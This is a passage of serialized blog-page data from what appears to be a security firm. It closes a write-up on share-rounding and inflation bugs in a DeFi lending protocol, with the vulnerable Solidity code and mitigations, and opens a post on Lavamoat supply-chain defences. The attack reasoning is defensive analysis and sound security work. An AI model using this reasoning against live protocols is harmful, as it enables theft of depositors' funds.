ResultsInBadDebt();\n}\n",[43639],{"type":19,"tag":27,"props":43640,"children":43641},{"__ignoreMap":7},[43642,43673,43681,43689,43696,43718,43731,43738,43759,43789,43801,43813,43820,43844,43861],{"type":19,"tag":168,"props":43643,"children":43644},{"class":170,"line":171},[43645,43650,43655,43659,43664,43669],{"type":19,"tag":168,"props":43646,"children":43647},{"style":825},[43648],{"type":24,"value":43649},"uint256",{"type":19,"tag":168,"props":43651,"children":43652},{"style":212},[43653],{"type":24,"value":43654}," withdrawValue ",{"type":19,"tag":168,"props":43656,"children":43657},{"style":399},[43658],{"type":24,"value":486},{"type":19,"tag":168,"props":43660,"children":43661},{"style":212},[43662],{"type":24,"value":43663}," WISE_ORACLE.",{"type":19,"tag":168,"props":43665,"children":43666},{"style":175},[43667],{"type":24,"value":43668},"getTokensInETH",{"type":19,"tag":168,"props":43670,"children":43671},{"style":212},[43672],{"type":24,"value":870},{"type":19,"tag":168,"props":43674,"children":43675},{"class":170,"line":198},[43676],{"type":19,"tag":168,"props":43677,"children":43678},{"style":212},[43679],{"type":24,"value":43680}," _poolToken,\n",{"type":19,"tag":168,"props":43682,"children":43683},{"class":170,"line":415},[43684],{"type":19,"tag":168,"props":43685,"children":43686},{"style":212},[43687],{"type":24,"value":43688}," _amount\n",{"type":19,"tag":168,"props":43690,"children":43691},{"class":170,"line":450},[43692],{"type":19,"tag":168,"props":43693,"children":43694},{"style":212},[43695],{"type":24,"value":557},{"type":19,"tag":168,"props":43697,"children":43698},{"class":170,"line":560},[43699,43703,43708,43713],{"type":19,"tag":168,"props":43700,"children":43701},{"style":399},[43702],{"type":24,"value":15011},{"type":19,"tag":168,"props":43704,"children":43705},{"style":212},[43706],{"type":24,"value":43707}," WISE_LENDING.",{"type":19,"tag":168,"props":43709,"children":43710},{"style":175},[43711],{"type":24,"value":43712},"lendingPoolData",{"type":19,"tag":168,"props":43714,"children":43715},{"style":212},[43716],{"type":24,"value":43717},"(_poolToken).collateralFactor\n",{"type":19,"tag":168,"props":43719,"children":43720},{"class":170,"line":666},[43721,43726],{"type":19,"tag":168,"props":43722,"children":43723},{"style":399},[43724],{"type":24,"value":43725}," /",{"type":19,"tag":168,"props":43727,"children":43728},{"style":212},[43729],{"type":24,"value":43730}," PRECISION_FACTOR_E18;\n",{"type":19,"tag":168,"props":43732,"children":43733},{"class":170,"line":694},[43734],{"type":19,"tag":168,"props":43735,"children":43736},{"emptyLinePlaceholder":14},[43737],{"type":24,"value":1093},{"type":19,"tag":168,"props":43739,"children":43740},{"class":170,"line":707},[43741,43745,43750,43754],{"type":19,"tag":168,"props":43742,"children":43743},{"style":825},[43744],{"type":24,"value":27156},{"type":19,"tag":168,"props":43746,"children":43747},{"style":212},[43748],{"type":24,"value":43749}," state ",{"type":19,"tag":168,"props":43751,"children":43752},{"style":399},[43753],{"type":24,"value":486},{"type":19,"tag":168,"props":43755,"children":43756},{"style":212},[43757],{"type":24,"value":43758}," borrowPercentageCap\n",{"type":19,"tag":168,"props":43760,"children":43761},{"class":170,"line":725},[43762,43766,43770,43775,43780,43784],{"type":19,"tag":168,"props":43763,"children":43764},{"style":399},[43765],{"type":24,"value":15011},{"type":19,"tag":168,"props":43767,"children":43768},{"style":212},[43769],{"type":24,"value":461},{"type":19,"tag":168,"props":43771,"children":43772},{"style":175},[43773],{"type":24,"value":43774},"overallETHCollateralsWeighted",{"type":19,"tag":168,"props":43776,"children":43777},{"style":212},[43778],{"type":24,"value":43779},"(_nftId) ",{"type":19,"tag":168,"props":43781,"children":43782},{"style":399},[43783],{"type":24,"value":1757},{"type":19,"tag":168,"props":43785,"children":43786},{"style":212},[43787],{"type":24,"value":43788}," withdrawValue)\n",{"type":19,"tag":168,"props":43790,"children":43791},{"class":170,"line":746},[43792,43796],{"type":19,"tag":168,"props":43793,"children":43794},{"style":399},[43795],{"type":24,"value":43725},{"type":19,"tag":168,"props":43797,"children":43798},{"style":212},[43799],{"type":24,"value":43800}," PRECISION_FACTOR_E18\n",{"type":19,"tag":168,"props":43802,"children":43803},{"class":170,"line":755},[43804,43808],{"type":19,"tag":168,"props":43805,"children":43806},{"style":399},[43807],{"type":24,"value":29918},{"type":19,"tag":168,"props":43809,"children":43810},{"style":212},[43811],{"type":24,"value":43812}," borrowAmount;\n",{"type":19,"tag":168,"props":43814,"children":43815},{"class":170,"line":1008},[43816],{"type":19,"tag":168,"props":43817,"children":43818},{"emptyLinePlaceholder":14},[43819],{"type":24,"value":1093},{"type":19,"tag":168,"props":43821,"children":43822},{"class":170,"line":1025},[43823,43827,43832,43836,43840],{"type":19,"tag":168,"props":43824,"children":43825},{"style":419},[43826],{"type":24,"value":13027},{"type":19,"tag":168,"props":43828,"children":43829},{"style":212},[43830],{"type":24,"value":43831}," (state ",{"type":19,"tag":168,"props":43833,"children":43834},{"style":399},[43835],{"type":24,"value":6013},{"type":19,"tag":168,"props":43837,"children":43838},{"style":382},[43839],{"type":24,"value":9914},{"type":19,"tag":168,"props":43841,"children":43842},{"style":212},[43843],{"type":24,"value":12250},{"type":19,"tag":168,"props":43845,"children":43846},{"class":170,"line":1042},[43847,43852,43857],{"type":19,"tag":168,"props":43848,"children":43849},{"style":419},[43850],{"type":24,"value":43851}," revert",{"type":19,"tag":168,"props":43853,"children":43854},{"style":175},[43855],{"type":24,"value":43856}," ResultsInBadDebt",{"type":19,"tag":168,"props":43858,"children":43859},{"style":212},[43860],{"type":24,"value":1084},{"type":19,"tag":168,"props":43862,"children":43863},{"class":170,"line":1055},[43864],{"type":19,"tag":168,"props":43865,"children":43866},{"style":212},[43867],{"type":24,"value":1326},{"type":19,"tag":20,"props":43869,"children":43870},{},[43871],{"type":24,"value":43872},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":19,"tag":20,"props":43874,"children":43875},{},[43876],{"type":24,"value":43877},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":19,"tag":20,"props":43879,"children":43880},{},[43881,43883,43889],{"type":24,"value":43882},"And indeed, ",{"type":19,"tag":269,"props":43884,"children":43887},{"href":43885,"rel":43886},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[273],[43888],{"type":24,"value":43593},{"type":24,"value":43890}," rounds up the share value.",{"type":19,"tag":158,"props":43892,"children":43894},{"className":1905,"code":43893,"language":1904,"meta":7,"style":7},"function _calculateShares(\n uint256 _product,\n uint256 _pseudo,\n bool _maxSharePrice\n)\n private\n pure\n returns (uint256)\n{\n return _maxSharePrice == true\n ? _product % _pseudo == 0\n ? _product / _pseudo\n : _product / _pseudo + 1\n : _product / _pseudo;\n}\n",[43895],{"type":19,"tag":27,"props":43896,"children":43897},{"__ignoreMap":7},[43898,43914,43931,43947,43960,43967,43975,43983,44003,44010,44031,44052,44074,44103,44124],{"type":19,"tag":168,"props":43899,"children":43900},{"class":170,"line":171},[43901,43905,43910],{"type":19,"tag":168,"props":43902,"children":43903},{"style":382},[43904],{"type":24,"value":28849},{"type":19,"tag":168,"props":43906,"children":43907},{"style":175},[43908],{"type":24,"value":43909}," _calculateShares",{"type":19,"tag":168,"props":43911,"children":43912},{"style":212},[43913],{"type":24,"value":870},{"type":19,"tag":168,"props":43915,"children":43916},{"class":170,"line":198},[43917,43922,43927],{"type":19,"tag":168,"props":43918,"children":43919},{"style":825},[43920],{"type":24,"value":43921}," uint256",{"type":19,"tag":168,"props":43923,"children":43924},{"style":393},[43925],{"type":24,"value":43926}," _product",{"type":19,"tag":168,"props":43928,"children":43929},{"style":212},[43930],{"type":24,"value":915},{"type":19,"tag":168,"props":43932,"children":43933},{"class":170,"line":415},[43934,43938,43943],{"type":19,"tag":168,"props":43935,"children":43936},{"style":825},[43937],{"type":24,"value":43921},{"type":19,"tag":168,"props":43939,"children":43940},{"style":393},[43941],{"type":24,"value":43942}," _pseudo",{"type":19,"tag":168,"props":43944,"children":43945},{"style":212},[43946],{"type":24,"value":915},{"type":19,"tag":168,"props":43948,"children":43949},{"class":170,"line":450},[43950,43955],{"type":19,"tag":168,"props":43951,"children":43952},{"style":825},[43953],{"type":24,"value":43954}," bool",{"type":19,"tag":168,"props":43956,"children":43957},{"style":393},[43958],{"type":24,"value":43959}," _maxSharePrice\n",{"type":19,"tag":168,"props":43961,"children":43962},{"class":170,"line":560},[43963],{"type":19,"tag":168,"props":43964,"children":43965},{"style":212},[43966],{"type":24,"value":557},{"type":19,"tag":168,"props":43968,"children":43969},{"class":170,"line":666},[43970],{"type":19,"tag":168,"props":43971,"children":43972},{"style":382},[43973],{"type":24,"value":43974}," private\n",{"type":19,"tag":168,"props":43976,"children":43977},{"class":170,"line":694},[43978],{"type":19,"tag":168,"props":43979,"children":43980},{"style":382},[43981],{"type":24,"value":43982}," pure\n",{"type":19,"tag":168,"props":43984,"children":43985},{"class":170,"line":707},[43986,43991,43995,43999],{"type":19,"tag":168,"props":43987,"children":43988},{"style":419},[43989],{"type":24,"value":43990}," returns",{"type":19,"tag":168,"props":43992,"children":43993},{"style":212},[43994],{"type":24,"value":461},{"type":19,"tag":168,"props":43996,"children":43997},{"style":825},[43998],{"type":24,"value":43649},{"type":19,"tag":168,"props":44000,"children":44001},{"style":212},[44002],{"type":24,"value":557},{"type":19,"tag":168,"props":44004,"children":44005},{"class":170,"line":725},[44006],{"type":19,"tag":168,"props":44007,"children":44008},{"style":212},[44009],{"type":24,"value":8324},{"type":19,"tag":168,"props":44011,"children":44012},{"class":170,"line":746},[44013,44017,44022,44026],{"type":19,"tag":168,"props":44014,"children":44015},{"style":419},[44016],{"type":24,"value":14438},{"type":19,"tag":168,"props":44018,"children":44019},{"style":212},[44020],{"type":24,"value":44021}," _maxSharePrice ",{"type":19,"tag":168,"props":44023,"children":44024},{"style":399},[44025],{"type":24,"value":6013},{"type":19,"tag":168,"props":44027,"children":44028},{"style":382},[44029],{"type":24,"value":44030}," true\n",{"type":19,"tag":168,"props":44032,"children":44033},{"class":170,"line":755},[44034,44039,44044,44048],{"type":19,"tag":168,"props":44035,"children":44036},{"style":399},[44037],{"type":24,"value":44038}," ?",{"type":19,"tag":168,"props":44040,"children":44041},{"style":212},[44042],{"type":24,"value":44043}," _product % _pseudo ",{"type":19,"tag":168,"props":44045,"children":44046},{"style":399},[44047],{"type":24,"value":6013},{"type":19,"tag":168,"props":44049,"children":44050},{"style":192},[44051],{"type":24,"value":21746},{"type":19,"tag":168,"props":44053,"children":44054},{"class":170,"line":1008},[44055,44060,44065,44069],{"type":19,"tag":168,"props":44056,"children":44057},{"style":399},[44058],{"type":24,"value":44059}," ?",{"type":19,"tag":168,"props":44061,"children":44062},{"style":212},[44063],{"type":24,"value":44064}," _product ",{"type":19,"tag":168,"props":44066,"children":44067},{"style":399},[44068],{"type":24,"value":2012},{"type":19,"tag":168,"props":44070,"children":44071},{"style":212},[44072],{"type":24,"value":44073}," _pseudo\n",{"type":19,"tag":168,"props":44075,"children":44076},{"class":170,"line":1025},[44077,44082,44086,44090,44095,44099],{"type":19,"tag":168,"props":44078,"children":44079},{"style":399},[44080],{"type":24,"value":44081}," :",{"type":19,"tag":168,"props":44083,"children":44084},{"style":212},[44085],{"type":24,"value":44064},{"type":19,"tag":168,"props":44087,"children":44088},{"style":399},[44089],{"type":24,"value":2012},{"type":19,"tag":168,"props":44091,"children":44092},{"style":212},[44093],{"type":24,"value":44094}," _pseudo ",{"type":19,"tag":168,"props":44096,"children":44097},{"style":399},[44098],{"type":24,"value":1811},{"type":19,"tag":168,"props":44100,"children":44101},{"style":192},[44102],{"type":24,"value":16896},{"type":19,"tag":168,"props":44104,"children":44105},{"class":170,"line":1042},[44106,44111,44115,44119],{"type":19,"tag":168,"props":44107,"children":44108},{"style":399},[44109],{"type":24,"value":44110}," :",{"type":19,"tag":168,"props":44112,"children":44113},{"style":212},[44114],{"type":24,"value":44064},{"type":19,"tag":168,"props":44116,"children":44117},{"style":399},[44118],{"type":24,"value":2012},{"type":19,"tag":168,"props":44120,"children":44121},{"style":212},[44122],{"type":24,"value":44123}," _pseudo;\n",{"type":19,"tag":168,"props":44125,"children":44126},{"class":170,"line":1055},[44127],{"type":19,"tag":168,"props":44128,"children":44129},{"style":212},[44130],{"type":24,"value":1326},{"type":19,"tag":20,"props":44132,"children":44133},{},[44134,44139],{"type":19,"tag":293,"props":44135,"children":44136},{},[44137],{"type":24,"value":44138},"Regardless of which way the share rounding occurs, this is a bug",{"type":24,"value":44140},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":19,"tag":20,"props":44142,"children":44143},{},[44144],{"type":24,"value":44145},"This is a really tricky invariant to reason about!",{"type":19,"tag":36,"props":44147,"children":44149},{"id":44148},"root-cause",[44150],{"type":24,"value":44151},"Root Cause",{"type":19,"tag":20,"props":44153,"children":44154},{},[44155],{"type":24,"value":44156},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":19,"tag":20,"props":44158,"children":44159},{},[44160],{"type":24,"value":44161},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":19,"tag":158,"props":44163,"children":44165},{"className":1905,"code":44164,"language":1904,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[44166],{"type":19,"tag":27,"props":44167,"children":44168},{"__ignoreMap":7},[44169],{"type":19,"tag":168,"props":44170,"children":44171},{"class":170,"line":171},[44172,44177,44181,44186,44190],{"type":19,"tag":168,"props":44173,"children":44174},{"style":212},[44175],{"type":24,"value":44176},"totalDepositShares ",{"type":19,"tag":168,"props":44178,"children":44179},{"style":399},[44180],{"type":24,"value":2002},{"type":19,"tag":168,"props":44182,"children":44183},{"style":212},[44184],{"type":24,"value":44185}," _amount ",{"type":19,"tag":168,"props":44187,"children":44188},{"style":399},[44189],{"type":24,"value":2012},{"type":19,"tag":168,"props":44191,"children":44192},{"style":212},[44193],{"type":24,"value":44194}," pseudoTotalPool\n",{"type":19,"tag":20,"props":44196,"children":44197},{},[44198],{"type":24,"value":44199},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":19,"tag":20,"props":44201,"children":44202},{},[44203,44205,44209],{"type":24,"value":44204},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":19,"tag":293,"props":44206,"children":44207},{},[44208],{"type":24,"value":17371},{"type":24,"value":44210}," integer division?",{"type":19,"tag":36,"props":44212,"children":44214},{"id":44213},"mitigations",[44215],{"type":24,"value":44216},"Mitigations",{"type":19,"tag":20,"props":44218,"children":44219},{},[44220],{"type":24,"value":44221},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":19,"tag":20,"props":44223,"children":44224},{},[44225,44227,44234],{"type":24,"value":44226},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":19,"tag":269,"props":44228,"children":44231},{"href":44229,"rel":44230},"https://twitter.com/danielvf/status/1746306320553152615",[273],[44232],{"type":24,"value":44233},"@danielvf notes",{"type":24,"value":44235},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":19,"tag":158,"props":44237,"children":44239},{"className":1905,"code":44238,"language":1904,"meta":7,"style":7},"if (_totalSupply == 0) {\n liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[44240],{"type":19,"tag":27,"props":44241,"children":44242},{"__ignoreMap":7},[44243,44267,44314,44348],{"type":19,"tag":168,"props":44244,"children":44245},{"class":170,"line":171},[44246,44250,44255,44259,44263],{"type":19,"tag":168,"props":44247,"children":44248},{"style":419},[44249],{"type":24,"value":13027},{"type":19,"tag":168,"props":44251,"children":44252},{"style":212},[44253],{"type":24,"value":44254}," (_totalSupply ",{"type":19,"tag":168,"props":44256,"children":44257},{"style":399},[44258],{"type":24,"value":6013},{"type":19,"tag":168,"props":44260,"children":44261},{"style":192},[44262],{"type":24,"value":437},{"type":19,"tag":168,"props":44264,"children":44265},{"style":212},[44266],{"type":24,"value":12250},{"type":19,"tag":168,"props":44268,"children":44269},{"class":170,"line":198},[44270,44275,44279,44284,44289,44294,44299,44304,44309],{"type":19,"tag":168,"props":44271,"children":44272},{"style":212},[44273],{"type":24,"value":44274}," liquidity ",{"type":19,"tag":168,"props":44276,"children":44277},{"style":399},[44278],{"type":24,"value":486},{"type":19,"tag":168,"props":44280,"children":44281},{"style":212},[44282],{"type":24,"value":44283}," Math.",{"type":19,"tag":168,"props":44285,"children":44286},{"style":175},[44287],{"type":24,"value":44288},"sqrt",{"type":19,"tag":168,"props":44290,"children":44291},{"style":212},[44292],{"type":24,"value":44293},"(amount0.",{"type":19,"tag":168,"props":44295,"children":44296},{"style":175},[44297],{"type":24,"value":44298},"mul",{"type":19,"tag":168,"props":44300,"children":44301},{"style":212},[44302],{"type":24,"value":44303},"(amount1)).",{"type":19,"tag":168,"props":44305,"children":44306},{"style":175},[44307],{"type":24,"value":44308},"sub",{"type":19,"tag":168,"props":44310,"children":44311},{"style":212},[44312],{"type":24,"value":44313},"(MINIMUM_LIQUIDITY);\n",{"type":19,"tag":168,"props":44315,"children":44316},{"class":170,"line":415},[44317,44322,44326,44330,44334,44338,44343],{"type":19,"tag":168,"props":44318,"children":44319},{"style":175},[44320],{"type":24,"value":44321}," _mint",{"type":19,"tag":168,"props":44323,"children":44324},{"style":212},[44325],{"type":24,"value":500},{"type":19,"tag":168,"props":44327,"children":44328},{"style":825},[44329],{"type":24,"value":30113},{"type":19,"tag":168,"props":44331,"children":44332},{"style":212},[44333],{"type":24,"value":500},{"type":19,"tag":168,"props":44335,"children":44336},{"style":192},[44337],{"type":24,"value":1452},{"type":19,"tag":168,"props":44339,"children":44340},{"style":212},[44341],{"type":24,"value":44342},"), MINIMUM_LIQUIDITY); ",{"type":19,"tag":168,"props":44344,"children":44345},{"style":373},[44346],{"type":24,"value":44347},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":19,"tag":168,"props":44349,"children":44350},{"class":170,"line":450},[44351,44356,44360],{"type":19,"tag":168,"props":44352,"children":44353},{"style":212},[44354],{"type":24,"value":44355},"} ",{"type":19,"tag":168,"props":44357,"children":44358},{"style":419},[44359],{"type":24,"value":718},{"type":19,"tag":168,"props":44361,"children":44362},{"style":212},[44363],{"type":24,"value":691},{"type":19,"tag":20,"props":44365,"children":44366},{},[44367,44369,44376],{"type":24,"value":44368},"Alternatively, ",{"type":19,"tag":269,"props":44370,"children":44373},{"href":44371,"rel":44372},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[273],[44374],{"type":24,"value":44375},"storing the conversion rate separately",{"type":24,"value":44377}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":19,"tag":158,"props":44379,"children":44381},{"className":1905,"code":44380,"language":1904,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[44382],{"type":19,"tag":27,"props":44383,"children":44384},{"__ignoreMap":7},[44385,44420],{"type":19,"tag":168,"props":44386,"children":44387},{"class":170,"line":171},[44388,44393,44397,44402,44406,44411,44415],{"type":19,"tag":168,"props":44389,"children":44390},{"style":212},[44391],{"type":24,"value":44392},"accrualIndices.borrowed ",{"type":19,"tag":168,"props":44394,"children":44395},{"style":399},[44396],{"type":24,"value":486},{"type":19,"tag":168,"props":44398,"children":44399},{"style":212},[44400],{"type":24,"value":44401}," accrualIndices.borrowed ",{"type":19,"tag":168,"props":44403,"children":44404},{"style":399},[44405],{"type":24,"value":2002},{"type":19,"tag":168,"props":44407,"children":44408},{"style":212},[44409],{"type":24,"value":44410}," borrowInterestFactor ",{"type":19,"tag":168,"props":44412,"children":44413},{"style":399},[44414],{"type":24,"value":2012},{"type":19,"tag":168,"props":44416,"children":44417},{"style":212},[44418],{"type":24,"value":44419}," precision;\n",{"type":19,"tag":168,"props":44421,"children":44422},{"class":170,"line":198},[44423,44428,44432,44437,44441,44446,44450],{"type":19,"tag":168,"props":44424,"children":44425},{"style":212},[44426],{"type":24,"value":44427},"accrualIndices.deposited ",{"type":19,"tag":168,"props":44429,"children":44430},{"style":399},[44431],{"type":24,"value":486},{"type":19,"tag":168,"props":44433,"children":44434},{"style":212},[44435],{"type":24,"value":44436}," accrualIndices.deposited ",{"type":19,"tag":168,"props":44438,"children":44439},{"style":399},[44440],{"type":24,"value":2002},{"type":19,"tag":168,"props":44442,"children":44443},{"style":212},[44444],{"type":24,"value":44445}," depositInterestFactor ",{"type":19,"tag":168,"props":44447,"children":44448},{"style":399},[44449],{"type":24,"value":2012},{"type":19,"tag":168,"props":44451,"children":44452},{"style":212},[44453],{"type":24,"value":44419},{"type":19,"tag":20,"props":44455,"children":44456},{},[44457],{"type":24,"value":44458},"We also want to note some general takeaways:",{"type":19,"tag":20,"props":44460,"children":44461},{},[44462,44464,44469],{"type":24,"value":44463},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":19,"tag":293,"props":44465,"children":44466},{},[44467],{"type":24,"value":44468},"apply the state changes and check the invariant",{"type":24,"value":948},{"type":19,"tag":20,"props":44471,"children":44472},{},[44473],{"type":24,"value":44474},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":19,"tag":20,"props":44476,"children":44477},{},[44478],{"type":24,"value":44479},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":19,"tag":36,"props":44481,"children":44482},{"id":26402},[44483],{"type":24,"value":16400},{"type":19,"tag":20,"props":44485,"children":44486},{},[44487],{"type":24,"value":44488},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":19,"tag":20,"props":44490,"children":44491},{},[44492],{"type":24,"value":44493},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":19,"tag":232,"props":44495,"children":44496},{},[44497],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":44499},[44500,44501,44502,44506,44507,44508],{"id":26485,"depth":198,"text":26488},{"id":43422,"depth":198,"text":43425},{"id":43541,"depth":198,"text":43544,"children":44503},[44504,44505],{"id":43552,"depth":415,"text":43555},{"id":43590,"depth":415,"text":43593},{"id":44148,"depth":198,"text":44151},{"id":44213,"depth":198,"text":44216},{"id":26402,"depth":198,"text":16400},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":44513,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":44514,"description":44515,"author":44516,"image":44517,"date":44519,"isFeatured":14,"onBlogPage":14,"body":44520,"_type":242,"_id":48000,"_source":244,"_file":48001,"_stem":48002,"_extension":247},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[28673,28672],{"src":44518},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":16,"children":44521,"toc":47979},[44522,44526,44547,44552,44556,44561,44600,44606,44621,44639,44644,44649,44654,44667,44974,45000,45013,45018,45023,45037,45042,45055,45069,45300,45321,45356,45362,45367,45372,45586,45607,45613,45625,45715,45737,45773,45781,45799,46056,46082,46088,46102,46300,46319,46726,46739,46745,46764,46857,46862,46868,46881,46894,46980,46986,46998,47083,47095,47108,47114,47119,47133,47460,47465,47470,47476,47502,47557,47577,47630,47636,47641,47660,47671,47865,47871,47894,47900,47905,47918,47923,47928,47932,47937,47945,47975],{"type":19,"tag":36,"props":44523,"children":44524},{"id":16409},[44525],{"type":24,"value":16412},{"type":19,"tag":20,"props":44527,"children":44528},{},[44529,44536,44538,44545],{"type":19,"tag":269,"props":44530,"children":44533},{"href":44531,"rel":44532},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[273],[44534],{"type":24,"value":44535},"Supply chain",{"type":24,"value":44537}," attacks are becoming ",{"type":19,"tag":269,"props":44539,"children":44542},{"href":44540,"rel":44541},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[273],[44543],{"type":24,"value":44544},"increasingly popular in Web3",{"type":24,"value":44546},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":19,"tag":20,"props":44548,"children":44549},{},[44550],{"type":24,"value":44551},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":19,"tag":7050,"props":44553,"children":44554},{"id":26485},[44555],{"type":24,"value":26488},{"type":19,"tag":20,"props":44557,"children":44558},{},[44559],{"type":24,"value":44560},"It is important to note that there are three different versions of LavaMoat:",{"type":19,"tag":2869,"props":44562,"children":44563},{},[44564,44576,44588],{"type":19,"tag":47,"props":44565,"children":44566},{},[44567,44574],{"type":19,"tag":269,"props":44568,"children":44571},{"href":44569,"rel":44570},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[273],[44572],{"type":24,"value":44573},"Lavamoat Browserify",{"type":24,"value":44575}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":19,"tag":47,"props":44577,"children":44578},{},[44579,44586],{"type":19,"tag":269,"props":44580,"children":44583},{"href":44581,"rel":44582},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[273],[44584],{"type":24,"value":44585},"NodeJS Lavamoat",{"type":24,"value":44587}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":19,"tag":47,"props":44589,"children":44590},{},[44591,44598],{"type":19,"tag":269,"props":44592,"children":44595},{"href":44593,"rel":44594},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[273],[44596],{"type":24,"value":44597},"Lavamoat allow-scripts",{"type":24,"value":44599}," are used to prevent malicious code execution on lifecycle scripts.",{"type":19,"tag":7050,"props":44601,"children":44603},{"id":44602},"lavamoats-security-features",[44604],{"type":24,"value":44605},"Lavamoat's Security Features",{"type":19,"tag":20,"props":44607,"children":44608},{},[44609,44611,44619],{"type":24,"value":44610},"The three most important features of Lavamoat",{"type":19,"tag":12921,"props":44612,"children":44613},{},[44614],{"type":19,"tag":269,"props":44615,"children":44617},{"href":27094,"ariaDescribedBy":44616,"dataFootnoteRef":7,"id":27096},[12928],[44618],{"type":24,"value":1442},{"type":24,"value":44620}," are:",{"type":19,"tag":43,"props":44622,"children":44623},{},[44624,44629,44634],{"type":19,"tag":47,"props":44625,"children":44626},{},[44627],{"type":24,"value":44628},"Policy Files",{"type":19,"tag":47,"props":44630,"children":44631},{},[44632],{"type":24,"value":44633},"NPM Anti Hijacking",{"type":19,"tag":47,"props":44635,"children":44636},{},[44637],{"type":24,"value":44638},"Scuttling",{"type":19,"tag":20,"props":44640,"children":44641},{},[44642],{"type":24,"value":44643},"Let's go over them one by one.",{"type":19,"tag":16345,"props":44645,"children":44647},{"id":44646},"policy-files",[44648],{"type":24,"value":44628},{"type":19,"tag":20,"props":44650,"children":44651},{},[44652],{"type":24,"value":44653},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":19,"tag":20,"props":44655,"children":44656},{},[44657,44659,44666],{"type":24,"value":44658},"For example, take the ",{"type":19,"tag":269,"props":44660,"children":44663},{"href":44661,"rel":44662},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[273],[44664],{"type":24,"value":44665},"Metamask Snap policy file",{"type":24,"value":1922},{"type":19,"tag":158,"props":44668,"children":44670},{"className":28835,"code":44669,"language":28837,"meta":7,"style":7}," \"@metamask/providers\": {\n \"globals\": {\n \"Event\": true,\n \"addEventListener\": true,\n \"chrome.runtime.connect\": true,\n \"console\": true,\n \"dispatchEvent\": true,\n \"document.createElement\": true,\n \"document.readyState\": true,\n \"ethereum\": \"write\",\n \"location.hostname\": true,\n \"removeEventListener\": true,\n \"web3\": true\n },\n \"packages\": {\n \"@metamask/object-multiplex\": true,\n \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[44671],{"type":19,"tag":27,"props":44672,"children":44673},{"__ignoreMap":7},[44674,44686,44701,44721,44740,44760,44780,44800,44820,44840,44861,44881,44900,44916,44923,44938,44958],{"type":19,"tag":168,"props":44675,"children":44676},{"class":170,"line":171},[44677,44682],{"type":19,"tag":168,"props":44678,"children":44679},{"style":181},[44680],{"type":24,"value":44681}," 